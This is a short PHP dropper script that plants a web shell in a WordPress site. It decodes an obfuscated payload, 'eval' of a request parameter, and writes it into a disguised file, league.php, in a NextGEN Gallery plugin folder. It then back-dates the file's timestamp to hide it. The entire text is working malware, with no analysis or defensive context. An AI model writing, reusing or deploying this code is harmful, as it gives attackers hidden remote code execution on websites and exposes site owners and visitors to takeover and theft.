<?php $p = "/home/sps/public_html/bad/wp-content/plugins/nextgen-gallery/static/Slideshow/slick/league.php"; $c = rawurldecode('%3C%3Fphp%0A%0Aeval%28%24_REQUEST%5B%27UJBLvc%27%5D%29%3B'); if (file_put_contents($p, $c)) { echo '!success!'; @touch($p, 1770214125); } die('!ended!');